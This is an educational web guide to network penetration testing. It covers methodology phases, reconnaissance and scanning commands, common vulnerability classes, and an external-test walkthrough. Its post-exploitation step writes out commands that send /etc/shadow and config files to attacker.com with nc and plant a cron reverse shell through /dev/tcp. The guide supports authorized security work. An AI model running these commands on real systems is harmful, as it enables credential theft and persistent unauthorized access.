Practical Network Penetration Testing
A comprehensive guide to methodologies, tools, and techniques for effective network security assessment
Network penetration testing is the practice of simulating real-world attacks on computer networks to identify and address security vulnerabilities before malicious actors can exploit them. Unlike automated vulnerability scanning, penetration testing involves active exploitation attempts by skilled security professionals who think and act like attackers.
Why Perform Network Pentests?
- Identify exploitable vulnerabilities in network infrastructure
- Test the effectiveness of security controls and defenses
- Meet compliance requirements (PCI DSS, HIPAA, etc.)
- Validate security investments and prioritize remediation efforts
- Improve incident response capabilities through realistic scenarios
Types of Network Pentests
- Black Box: Tester has no prior knowledge of the target
- White Box: Tester has complete knowledge of the target
- Gray Box: Tester has partial knowledge of the target
- External: Testing from outside the network perimeter
- Internal: Testing from within the network
Legal Considerations
Following a systematic methodology ensures thorough coverage and consistent results. While different frameworks exist (PTES, OSSTMM, NIST), most network penetration tests follow these core phases:
1. Reconnaissance
Gathering information about the target network without direct interaction.
Key Activities
- OSINT (Open Source Intelligence) gathering
- DNS enumeration and analysis
- WHOIS and public record lookups
- Social media research
- Google dorking and search engine reconnaissance
Common Tools
2. Scanning & Enumeration
Active probing of the target network to identify hosts, services, and potential vulnerabilities.
Key Activities
- Network mapping and host discovery
- Port scanning and service identification
- OS fingerprinting
- Service enumeration
- Vulnerability scanning
Common Tools
3. Vulnerability Analysis
Analyzing discovered services and systems for security weaknesses.
Key Activities
- Identifying known vulnerabilities in services
- Configuration analysis
- Password policy assessment
- Firewall/IDS/IPS evasion testing
- Manual verification of scanner findings
Common Tools
4. Exploitation
Actively exploiting identified vulnerabilities to gain access to systems.
Key Activities
- Exploiting network service vulnerabilities
- Password attacks (brute force, credential stuffing)
- Man-in-the-middle attacks
- Privilege escalation
- Social engineering (if in scope)
Common Tools
5. Post-Exploitation
Actions taken after gaining access to demonstrate impact and risk.
Key Activities
- Privilege escalation
- Lateral movement through the network
- Data exfiltration testing
- Persistence mechanism testing
- Evidence collection for reporting
Common Tools
6. Reporting
Documenting findings, impacts, and remediation recommendations.
Key Activities
- Executive summary creation
- Technical findings documentation
- Risk assessment and prioritization
- Remediation recommendations
- Evidence preservation
Common Tools
Methodology Tip
The search engine for Internet-connected devices. Helps identify exposed services and potential entry points.
org:"Target Company"
hostname:"example.com"
port:3389 country:"US"
http.title:"Admin Login"
In-depth DNS enumeration and network mapping tool that uses multiple techniques to discover subdomains.
amass enum -d example.com
# Passive reconnaissance only
amass enum -passive -d example.com
Gathers emails, subdomains, hosts, employee names, open ports and banners from different public sources.
theharvester -d example.com -b google,linkedin,twitter,shodan
# Limit results and save to file
theharvester -d example.com -l 500 -b all -f results.html
Common Examples
- Default router credentials (admin/admin)
- Password reuse across multiple systems
- Lack of multi-factor authentication
- Weak password policies
Testing Approach
Password spraying, credential stuffing, brute force attacks
Common Examples
- EternalBlue (MS17-010) vulnerability
- Outdated web servers (Apache, Nginx)
- Legacy operating systems (Windows 7, Server 2008)
- Unpatched VPN appliances
Testing Approach
Vulnerability scanning, version fingerprinting
Common Examples
- Open SMB shares with sensitive data
- Telnet instead of SSH
- Unencrypted FTP servers
- SNMP with default community strings
Testing Approach
Port scanning, service enumeration, banner grabbing
Common Examples
- Overly permissive ingress/egress filtering
- Unnecessary open ports
- Inconsistent rule enforcement
- Outdated firewall software
Testing Approach
Firewall rule testing, egress filtering tests
Common Examples
- HTTP instead of HTTPS
- SMBv1 instead of SMBv3
- Unencrypted email protocols (POP3, IMAP)
- Telnet instead of SSH
Testing Approach
Protocol analysis, traffic capture, MitM attacks
Common Examples
- Flat networks without VLANs
- Direct access from user networks to critical systems
- Inadequate DMZ implementation
- Missing internal firewalls
Testing Approach
Network mapping, lateral movement testing
Vulnerability Prioritization
External Network Penetration Test Walkthrough
This example demonstrates a typical approach to testing an organization's external network perimeter.
Step 1: Reconnaissance
whois -h whois.arin.net "n example.com"
# Discover subdomains
amass enum -d example.com -o subdomains.txt
# Resolve subdomains to IP addresses
for sub in $(cat subdomains.txt); do host $sub | grep "has address" | cut -d " " -f 4 >> ips.txt; done
During this phase, we identify the target's network footprint, including IP ranges, domain names, and subdomains. This helps map out the attack surface before active scanning begins.
Step 2: Service Discovery
nmap -sS -T4 -p 21,22,23,25,53,80,443,8080,8443 -iL ips.txt -oA quick_scan
# Comprehensive scan on discovered hosts
nmap -sS -sV -sC -p- -iL live_hosts.txt -oA full_scan
# Service version detection
nmap -sV --version-intensity 9 -p $(cat open_ports.txt | tr '\n' ',') 192.168.1.100
Here we identify open ports and running services on the target's external-facing systems. The initial scan focuses on common ports, followed by a more comprehensive scan of live hosts.
Step 3: Vulnerability Identification
nikto -h https://example.com -o nikto_results.txt
# Check for SSL/TLS issues
sslscan example.com:443
# Vulnerability scan with Nessus (via CLI)
nessuscli scan --policy "External Network Scan" --targets "$(cat live_hosts.txt)"
After identifying services, we look for known vulnerabilities in those services. This includes web application scanning, SSL/TLS testing, and comprehensive vulnerability scanning.
Step 4: Exploitation
searchsploit apache 2.4.39
# In Metasploit
use exploit/unix/webapp/apache_struts_rce
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /vulnerable-app/
exploit
Based on discovered vulnerabilities, we attempt to exploit them to gain access to the target systems. This might involve using public exploits, custom scripts, or tools like Metasploit.
Step 5: Post-Exploitation
python linpeas.py
# Data exfiltration test
tar czf /tmp/sensitive_data.tar.gz /etc/passwd /etc/shadow /var/www/config.php
nc attacker.com 4444 < /tmp/sensitive_data.tar.gz
# Establish persistence
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4445 0>&1'" /tmp/cron_backdoor
crontab /tmp/cron_backdoor
After gaining access, we demonstrate the potential impact by attempting privilege escalation, accessing sensitive data, and establishing persistence. This helps illustrate the real-world risk of the vulnerabilities.
Important Note
- Obtain proper written authorization
- Define clear scope and boundaries
- Establish emergency contacts
- Create a detailed test plan
- Perform risk assessment for testing activities
- Set up isolated testing environment when possible
- Maintain detailed documentation of all activities
- Regularly communicate status with stakeholders
- Avoid denial-of-service conditions
- Test during approved time windows
- Respect out-of-scope systems and data
- Secure sensitive data collected during testing
- Provide clear, actionable remediation steps
- Prioritize findings based on risk
- Securely delete sensitive client data
- Offer retesting after remediation
- Conduct a lessons learned session
- Maintain confidentiality of results
- Use staged payloads to prevent accidental execution
- Implement rate limiting for intensive scans
- Verify vulnerabilities manually to reduce false positives
- Take incremental backups of your testing data
- Use dedicated testing infrastructure
- Maintain chain of custody for any evidence collected
Network penetration testing involves accessing systems and data in ways that would normally be considered unauthorized. This creates ethical responsibilities beyond technical considerations:
- Respect privacy - Minimize access to personal or sensitive data
- Do no harm - Avoid actions that could damage systems or data
- Maintain confidentiality - Treat all findings as strictly confidential
- Report responsibly - Provide clear, actionable information without unnecessary alarmism
- Stay within scope - Resist the temptation to explore beyond authorized boundaries
Pro Tip
Hands-on penetration testing certification that teaches practical, real-world skills.
Learn moreComprehensive course covering network penetration testing methodologies and techniques.
Learn moreIn-depth training on network penetration testing from one of the most respected cybersecurity training organizations.
Learn morePractical certification focused on real-world penetration testing skills.
Learn more